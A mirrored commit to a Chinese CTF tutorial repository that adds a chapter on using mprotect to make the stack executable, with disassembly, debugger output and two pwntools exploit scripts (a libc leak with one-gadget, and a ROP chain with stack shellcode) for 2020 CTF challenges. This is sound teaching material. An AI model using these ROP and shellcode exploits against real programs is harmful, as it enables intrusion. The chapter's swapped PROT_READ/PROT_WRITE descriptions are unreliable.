mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
add mprotect
This commit is contained in:
parent
86aa068b6f
commit
eb1e60345a
@ -109,7 +109,7 @@ GitHub 地址:<https://github.com/firmianay/CTF-All-In-One>
|
||||
* [4.8 使用 DynELF 泄露函数地址](doc/4.8_dynelf.md)
|
||||
* [4.9 shellcode 开发](doc/4.9_shellcode.md)
|
||||
* [4.10 跳转导向编程(JOP)](doc/4.10_jop.md)
|
||||
* 4.11
|
||||
* [4.11 利用 mprotect 修改栈权限](doc/4.11_mprotect.md)
|
||||
* [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md)
|
||||
* [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md)
|
||||
* [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md)
|
||||
|
266
doc/4.11_mprotect.md
Normal file
266
doc/4.11_mprotect.md
Normal file
@ -0,0 +1,266 @@
|
||||
# 4.11 利用 mprotect 修改栈权限
|
||||
|
||||
- [mprotect 函数](#mprotect-函数)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
## mprotect 函数
|
||||
|
||||
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:
|
||||
|
||||
```
|
||||
#include <sys/mman.h>
|
||||
|
||||
int mprotect(void *addr, size_t len, int prot);
|
||||
```
|
||||
|
||||
- prot 的取值如下,通过 `|` 可以将几个属性结合使用(值相加):
|
||||
- PROT_READ:可写,值为 1
|
||||
- PROT_WRITE:可读, 值为 2
|
||||
- PROT_EXEC:可执行,值为 4
|
||||
- PROT_NONE:不允许访问,值为 0
|
||||
|
||||
需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。
|
||||
|
||||
如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个:
|
||||
- EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。
|
||||
- EINVAL:start 不是一个有效指针,指向的不是某个内存页的开头。
|
||||
- ENOMEM:内核内部的结构体无法分配。
|
||||
- ENOMEM:进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
|
||||
|
||||
当一个进程的内存访问行为违背了内存的保护属性,内核将发出 SIGSEGV(Segmentation fault,段错误)信号,并且终止该进程。
|
||||
|
||||
## 例题
|
||||
|
||||
例题来自 2020 安网杯,pwn1 是相对简单对栈溢出,pwn2 在此基础上增加了 mprotect 的运用,同时还是一个静态编译的程序。[下载地址](../src/others/4.11_mprotect)
|
||||
|
||||
先来看 pwn1,这是一个 64 位的动态链接程序,开启了 Partial RELRO 和 NX。系统层面 ASLR 也是开启的。
|
||||
|
||||
```
|
||||
$ file pwn1
|
||||
pwn1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f92248c7cd330ab53768c281b50d14b4612259f4, not stripped
|
||||
$ pwn checksec pwn1
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
```
|
||||
|
||||
主函数 main() 先调用 write() 打印字符串,然后进入存在栈溢出漏洞的 vul() 函数,`read(0, &buf, 0x100uLL)` 读入最多 0x100 字节到 0x80 大小的缓冲区。
|
||||
|
||||
```
|
||||
.text:0000000000400587 ; int __cdecl main(int argc, const char **argv, const char **envp)
|
||||
.text:0000000000400587 public main
|
||||
.text:0000000000400587 main proc near
|
||||
.text:0000000000400587 ; __unwind {
|
||||
.text:0000000000400587 push rbp
|
||||
.text:0000000000400588 mov rbp, rsp
|
||||
.text:000000000040058B mov edx, 9 ; n
|
||||
.text:0000000000400590 mov esi, offset aWelcome ; "welcome~\n"
|
||||
.text:0000000000400595 mov edi, 1 ; fd
|
||||
.text:000000000040059A call _write
|
||||
.text:000000000040059F call vul
|
||||
.text:00000000004005A4 mov eax, 0
|
||||
.text:00000000004005A9 pop rbp
|
||||
.text:00000000004005AA retn
|
||||
.text:00000000004005AA ; } // starts at 400587
|
||||
.text:00000000004005AA main endp
|
||||
|
||||
.text:0000000000400566 public vul
|
||||
.text:0000000000400566 vul proc near
|
||||
.text:0000000000400566
|
||||
.text:0000000000400566 buf= byte ptr -80h
|
||||
.text:0000000000400566
|
||||
.text:0000000000400566 ; __unwind {
|
||||
.text:0000000000400566 push rbp
|
||||
.text:0000000000400567 mov rbp, rsp
|
||||
.text:000000000040056A add rsp, 0FFFFFFFFFFFFFF80h
|
||||
.text:000000000040056E lea rax, [rbp+buf]
|
||||
.text:0000000000400572 mov edx, 100h ; nbytes
|
||||
.text:0000000000400577 mov rsi, rax ; buf
|
||||
.text:000000000040057A mov edi, 0 ; fd
|
||||
.text:000000000040057F call _read
|
||||
.text:0000000000400584 nop
|
||||
.text:0000000000400585 leave
|
||||
.text:0000000000400586 retn
|
||||
.text:0000000000400586 ; } // starts at 400566
|
||||
.text:0000000000400586 vul endp
|
||||
```
|
||||
|
||||
总体思路就是栈溢出控制返回地址,执行 one-gadget。因此,我们还需要泄漏 libc 地址,程序里有 write() 函数可以利用。exp 如下所示:
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
context(os='linux', arch='amd64', log_level='debug')
|
||||
|
||||
io = process('./pwn1')
|
||||
elf = ELF('./pwn1')
|
||||
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
||||
|
||||
pop_rsi_r15 = 0x400611
|
||||
pop_rdi = 0x400613
|
||||
write = 0x400595
|
||||
|
||||
payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)
|
||||
|
||||
io.sendlineafter('welcome~\n', payload)
|
||||
|
||||
write_addr = u64(io.recv(8))
|
||||
io.recv()
|
||||
|
||||
one_gadget = write_addr - libc.sym['write'] + 0x4527a
|
||||
payload = "A"*0x88 + p64(one_gadget)
|
||||
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
pwn2 是一个 64 位的静态链接程序,开启了 Partial RELRO 和 NX。
|
||||
|
||||
```
|
||||
$ file pwn2
|
||||
pwn2: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=a3abf349ced6dccd645f0a95d9d47e8ac1217e3e, not stripped
|
||||
$ pwn checksec pwn2
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: No canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
```
|
||||
|
||||
由于静态链接程序的执行不再需要 libc,因此 ret2libc 类型的攻击手段就失效了,需要考虑注入 shellcode,但是又开启了 NX 保护,这时就需要使用本节所讲的 mprotect() 函数修改栈的可执行权限。
|
||||
|
||||
可以在程序里找到关键函数 _dl_make_stack_executable(),该函数内部调用了 `mprotect(v3, dl_pagesize, (unsigned int)_stack_prot)`:
|
||||
|
||||
```
|
||||
$ readelf -s pwn2 | grep exec
|
||||
635: 0000000000499f70 2296 FUNC LOCAL DEFAULT 6 execute_cfa_program
|
||||
639: 000000000049af40 2094 FUNC LOCAL DEFAULT 6 execute_stack_op
|
||||
821: 0000000000474730 92 FUNC GLOBAL DEFAULT 6 _dl_make_stack_executable
|
||||
1831: 00000000006cb168 8 OBJECT GLOBAL DEFAULT 25 _dl_make_stack_executable
|
||||
```
|
||||
|
||||
```
|
||||
unsigned int __fastcall dl_make_stack_executable(_QWORD *a1)
|
||||
{
|
||||
__int64 v1; // rdx
|
||||
_QWORD *v2; // rax
|
||||
signed __int64 v3; // rdi
|
||||
_QWORD *v4; // rbx
|
||||
unsigned int result; // eax
|
||||
|
||||
v1 = *a1;
|
||||
v2 = a1;
|
||||
v3 = *a1 & -(signed __int64)dl_pagesize;
|
||||
if ( v1 != _libc_stack_end )
|
||||
return 1;
|
||||
v4 = v2;
|
||||
result = mprotect(v3, dl_pagesize, (unsigned int)_stack_prot);
|
||||
if ( result )
|
||||
return __readfsdword(0xFFFFFFD0);
|
||||
*v4 = 0LL;
|
||||
dl_stack_flags |= 1u;
|
||||
return result;
|
||||
}
|
||||
```
|
||||
|
||||
构造方法是在进入 _dl_make_stack_executable 函数之前,将全局变量 _stack_prot 设置为 7(可读可写可执行),同时将 rdi 设置为全局变量 __libc_stack_end 的值。如下所示:
|
||||
|
||||
```
|
||||
gef➤ x/gx $rsp-0x10
|
||||
0x7ffef00bbb08: 0x4141414141414141
|
||||
0x7ffef00bbb10: 0x4141414141414141
|
||||
0x7ffef00bbb18: 0x00000000004015e7 # pop rsi ; ret
|
||||
0x7ffef00bbb20: 0x0000000000000007 # rwx
|
||||
0x7ffef00bbb28: 0x00000000004014c6 # pop rdi ; ret
|
||||
0x7ffef00bbb30: 0x00000000006c9fe0 # __stack_prot
|
||||
0x7ffef00bbb38: 0x000000000047a3b2 # mov [rdi], rsi
|
||||
0x7ffef00bbb40: 0x00000000004014c6 # pop rdi ; ret
|
||||
0x7ffef00bbb48: 0x00000000006c9f90 # __libc_stack_end
|
||||
0x7ffef00bbb50: 0x0000000000474730 # _dl_make_stack_executable
|
||||
0x7ffef00bbb58: 0x00000000004009e7 # vul
|
||||
```
|
||||
|
||||
调用 mprotect 前:
|
||||
|
||||
```
|
||||
0x474754 <_dl_make_stack_executable+36> add BYTE PTR [rbx+0x48], dl
|
||||
0x474757 <_dl_make_stack_executable+39> mov ebx, eax
|
||||
→ 0x474759 <_dl_make_stack_executable+41> call 0x43fd00 <mprotect>
|
||||
↳ 0x43fd00 <mprotect+0> mov eax, 0xa
|
||||
0x43fd05 <mprotect+5> syscall
|
||||
0x43fd07 <mprotect+7> cmp rax, 0xfffffffffffff001
|
||||
|
||||
mprotect (
|
||||
$rdi = 0x00007ffef00bb000 → 0x0000000000000000,
|
||||
$rsi = 0x0000000000001000,
|
||||
$rdx = 0x0000000000000007
|
||||
)
|
||||
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
|
||||
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
|
||||
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
|
||||
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffef009d000 0x00007ffef00be000 0x0000000000000000 rw- [stack]
|
||||
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
```
|
||||
|
||||
调用 mprotect 后,可以看到 0x00007ffef00bb000 到 0x00007ffef00bc000 的栈内存已经是 rwx 权限了:
|
||||
|
||||
```
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x00000000004ca000 0x0000000000000000 r-x /home/firmy/pwn/pwn2/pwn2
|
||||
0x00000000006c9000 0x00000000006cc000 0x00000000000c9000 rw- /home/firmy/pwn/pwn2/pwn2
|
||||
0x00000000006cc000 0x00000000006ce000 0x0000000000000000 rw-
|
||||
0x00000000009b6000 0x00000000009d9000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffef009d000 0x00007ffef00bb000 0x0000000000000000 rw-
|
||||
0x00007ffef00bb000 0x00007ffef00bc000 0x0000000000000000 rwx [stack]
|
||||
0x00007ffef00bc000 0x00007ffef00be000 0x0000000000000000 rw-
|
||||
0x00007ffef0194000 0x00007ffef0197000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffef0197000 0x00007ffef0199000 0x0000000000000000 r-x [vdso]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
```
|
||||
|
||||
接下来程序跳到 vul 函数,读入 shellcode 到栈上并执行,即可获得 shell。exp 如下所示:
|
||||
|
||||
```py
|
||||
from pwn import *
|
||||
context(os='linux', arch='amd64', log_level='debug')
|
||||
|
||||
io = process('./pwn2')
|
||||
elf = ELF('./pwn2')
|
||||
|
||||
vul = 0x4009E7
|
||||
write = 0x4009DD
|
||||
|
||||
pop_rdi = 0x4014c6
|
||||
pop_rsi = 0x4015e7
|
||||
pop_rdx = 0x442626
|
||||
jmp_rsi = 0x4a3313
|
||||
mov_rdi_esi = 0x47a3b3
|
||||
|
||||
payload = "A"*0x88
|
||||
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
|
||||
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
|
||||
payload += p64(vul)
|
||||
|
||||
io.sendlineafter('welcome~\n', payload)
|
||||
|
||||
shellcode = asm(shellcraft.sh())
|
||||
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)
|
||||
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
@ -10,7 +10,7 @@
|
||||
* [4.8 使用 DynELF 泄露函数地址](4.8_dynelf.md)
|
||||
* [4.9 shellcode 开发](4.9_shellcode.md)
|
||||
* [4.10 跳转导向编程(JOP)](4.10_jop.md)
|
||||
* 4.11
|
||||
* [4.11 利用 mprotect 修改栈权限](4.11_mprotect.md)
|
||||
* [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md)
|
||||
* [4.13 利用 _IO_FILE 结构](4.13_io_file.md)
|
||||
* [4.14 glibc tcache 机制](4.14_glibc_tcache.md)
|
||||
|
29
src/others/4.11_mprotect/exp1.py
Normal file
29
src/others/4.11_mprotect/exp1.py
Normal file
@ -0,0 +1,29 @@
|
||||
from pwn import *
|
||||
|
||||
context(os='linux', arch='amd64', log_level='debug')
|
||||
|
||||
io = process('./pwn1')
|
||||
elf = ELF('./pwn1')
|
||||
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
|
||||
|
||||
pop_rsi_r15 = 0x400611
|
||||
pop_rdi = 0x400613
|
||||
write = 0x400595
|
||||
|
||||
payload = "A"*0x88 + p64(pop_rsi_r15) + p64(elf.got['write'])*2 + p64(write)
|
||||
|
||||
io.sendlineafter('welcome~\n', payload)
|
||||
|
||||
write_addr = u64(io.recv(8))
|
||||
io.recv()
|
||||
|
||||
libc_addr = write_addr - libc.sym['write']
|
||||
one_gadget = libc_addr + 0x4527a
|
||||
|
||||
print hex(libc.sym['write']), hex(write_addr), hex(libc_addr), hex(one_gadget)
|
||||
|
||||
payload = "A"*0x88 + p64(one_gadget)
|
||||
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
31
src/others/4.11_mprotect/exp2.py
Normal file
31
src/others/4.11_mprotect/exp2.py
Normal file
@ -0,0 +1,31 @@
|
||||
from pwn import *
|
||||
|
||||
context(os='linux', arch='amd64', log_level='debug')
|
||||
|
||||
io = process('./pwn2')
|
||||
elf = ELF('./pwn2')
|
||||
|
||||
vul = 0x4009E7
|
||||
write = 0x4009DD
|
||||
|
||||
pop_rdi = 0x4014c6
|
||||
pop_rsi = 0x4015e7
|
||||
pop_rdx = 0x442626
|
||||
jmp_rsi = 0x4a3313
|
||||
mov_rdi_esi = 0x47a3b3
|
||||
|
||||
payload = "A"*0x88
|
||||
payload += p64(pop_rsi) + p64(7) + p64(pop_rdi) + p64(elf.sym['__stack_prot']) + p64(mov_rdi_esi)
|
||||
payload += p64(pop_rdi) + p64(elf.sym['__libc_stack_end']) + p64(elf.sym['_dl_make_stack_executable'])
|
||||
payload += p64(vul)
|
||||
|
||||
#gdb.attach(io)
|
||||
|
||||
io.sendlineafter('welcome~\n', payload)
|
||||
|
||||
shellcode = asm(shellcraft.sh())
|
||||
payload = shellcode.ljust(0x88, "A") + p64(jmp_rsi)
|
||||
|
||||
io.sendline(payload)
|
||||
|
||||
io.interactive()
|
BIN
src/others/4.11_mprotect/pwn1
Normal file
BIN
src/others/4.11_mprotect/pwn1
Normal file
Binary file not shown.
BIN
src/others/4.11_mprotect/pwn2
Normal file
BIN
src/others/4.11_mprotect/pwn2
Normal file
Binary file not shown.
Loading…
Reference in New Issue
Block a user